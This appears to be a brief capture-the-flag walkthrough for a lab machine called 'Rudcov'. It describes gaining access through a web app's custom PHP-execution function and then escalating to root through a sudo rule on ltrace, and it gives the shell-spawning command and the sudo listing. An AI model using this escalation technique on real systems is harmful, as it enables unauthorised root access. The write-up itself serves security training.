Rudcov – Web App Custom PHP Function

In this challenge we discover a custom function in the web app that runs PHP code

Rudcov – Web App Custom PHP Function

We can use this function to run PHP code and gain direct access to the webserver

Privilege Escalation
Sudo Ltrace

```
Matching Defaults entries for www-data on rudcov:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/s

User www-data may run the following commands on rudcov:
    (ALL : ALL) NOPASSWD: /usr/bin/ltrace
```

In this challenge, our unprivileged user has sudo access with the `ltrace` command

Privilege Escalation
Sudo Ltrace

```
ltrace --help
Usage: ltrace [option ...] [command [arg
Trace library calls of a given program.
```

The `ltrace` command is used to trace system library calls associated with other programs

Privilege Escalation
Sudo Ltrace

```
ltrace --help
Usage: ltrace [option ...] [command [arg
Trace library calls of a given program.
```

But for hacking purposes, `ltrace` is a program that can be used to open a terminal shell, and if it being used in a privileged context, it can be used for privilege escalation

Privilege Escalation
Sudo Ltrace

```
ltrace -b -L /bin/sh
```

The method of privilege escalation for the `ltrace` command is well-known, and simply involves running the command with any shell command